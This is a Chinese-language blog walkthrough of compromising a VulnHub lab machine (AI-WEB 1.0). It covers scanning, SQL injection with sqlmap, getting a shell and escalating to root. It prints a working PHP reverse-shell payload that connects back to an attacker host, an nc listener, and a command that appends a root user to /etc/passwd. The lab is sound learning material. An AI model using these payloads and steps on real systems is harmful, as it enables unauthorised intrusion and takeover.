zoukankan      html  css  js  c++  java
  • vulnhub靶场之AI-WEB1.0渗透记录

    在本机电脑上自行搭建了一个练手的靶场,下面是记录渗透过程


    目录

    一、确认靶机ip

    二、端口&目录扫描

    三、查看敏感目录

    四、sql注入

    五、get shell

    六、系统提权


    确认靶机ip

    kali下有个工具可以扫描ip:netdiscover

    image_thumb[2]

    看看哪一个比较可疑,在浏览器访问,最终确认是172

    image_thumb[3]

    整理一下:

    kali:192.168.37.131

    目标机:192.168.37.172

    端口&目录扫描

    a)使用nmap工具扫描一下靶机端口的开放情况

    nmap -sV -p 0-65535 192.168.37.172

    image_thumb[6]

    b)目录扫描

    确认完端口之后,尝试目录爆破:

    dirb http://192.168.37.172

    image_thumb[8]

    查看敏感目录

    image_thumb[10]

    发现了3个目录,挨个试一下发现其他目录都是没有权限访问

    尝试继续挖掘
    http://192.168.0.105/m3diNf0下发现info.php文件记录这各种php信息

    image_thumb[12]

    这信息后面应该会用到把,先放着,看看有没有其他信息,http://192.168.0.105/se3reTdir777/uploads/没有挖到任何目录,此时回过头来看看上一级目录是什么

    image_thumb[14]

    好像发现了不得了的信息,是一个信息输入框,第一时间想到啊了输入框是否存在sql注入。

    sql注入

    a)验证漏洞是否存在

    将1'带入输入框后报错,说明将1'数据带入到数据库了,是有注入点的

    b)启动sqlmap

    burpsuite抓包

    image_thumb[16]

    然后用sql跑一下

    sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 –dbs

    image_thumb[18]

    接着一个个爆库表列

    image_thumb[20]

    扫了这么久竟然没找到后台登录界面,嗯,去借鉴一下别人博客吧

    get shell

    上面发现的info.php是否有利用价值呢?

    发现了网站的国内目录,尝试sql看能不能反弹个shell:

    image_thumb[22]

    sqlmap -u "http://192.168.37.172/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

    image_thumb[24]

    /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(之前一直尝试/home/www/html/web1x443290o2sdf92213/,发现不行,目前还搞不懂。)

    系统提权

    上传一个一句话木马进行反弹shell进行提权,先用python搭建一个简易的服务器,然后用wget进行下载:

    a)先查看python的版本是2还是3

    python2 :python -m SimpleHTTPServer 9000

    python3 :python -m http.server 9000

    b)wget -S http://192.168.37.172:9000/c1.php (靶机)

    在这之前要先准备好这个文件,在本机上准备一个php文件,写入

    <?php
    $sock=fsockopen("192.168.37.131",9966);
    exec("/bin/sh -i <&3 >&3 2>&3");
    ?>

    (注意:这里的ip地址192.168.37.131是你的kali的ip,端口可以随便写,不要冲突就行,其他建议照抄)

    在本机浏览器测试,是否成功开启

    c)下载到kali中

    image_thumb[26]

    d)开始监听端口

    新建一个终端:nc -lvp 9966监听端口

    image_thumb[28]

    (我这里只是方便演示,乱填得端口,实际上是要监听写入的php脚本中的对应端口)

    然后再运行刚刚上传过来的php文件:php.c1.php

    image_thumb[30]

    这一步没反应的话可以尝试多输入几遍,此时在返回nc中查看

    image_thumb[32]

    成功了,并且可以执行各种命令

    e)添加用户

    发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看:因为写入的时候密码是加密的,所以要先加密密码:

    openssl passwd -1 -salt web123 111111

    然后再来写入密码:

    echo 'web123:$1$web123$uV5A1jaPfeOZ.15vlE6cR/:0:0::/root:/bin/bash'>>/etc/passwd

    写进去以后直接切换用户的会报错:

    f)提升为交互式shell,再切换用户:

    python -c 'import pty;pty.spawn("/bin/bash")'

    image_thumb[34]

    g)成功进入到root用户,得到flag:

    image_thumb[36]

    总结一下:学习到了sqlmao反弹shell,python在本地搭建服务器

    疑问:

    (1)sqlmap --os-shell时,为什么是选择/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/这个路径,info中显示网站根目录明明是/home/www/html/web1x443290o2sdf92213

    (2)python -c 'import pty;pty.spawn("/bin/bash")'这是什么,具体每一个参数代表什么

    (3)写入账号密码:echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu又这是啥,这如果搞不懂,完全记不住,也不会灵活运用啊

  • 相关阅读:
    RESTful API
    访问方式由http改为https curl:(51)
    java.lang.OutOfMemoryError: PermGen space
    liunx下tomcat启动 Cannot find ./catalina.sh
    Java-编译后出现$1.class、$2.class等多个class文件
    错误处理的返回--异常还是返回值
    ubuntu 上安装温度检测
    mysql5.6不能输入中文
    jmap在ubuntu上DebuggerException: Can't attach to the process
    tomcat-reload-与内存泄露
  • 原文地址:https://www.cnblogs.com/simon7s/p/12409541.html
Copyright © 2011-2022 走看看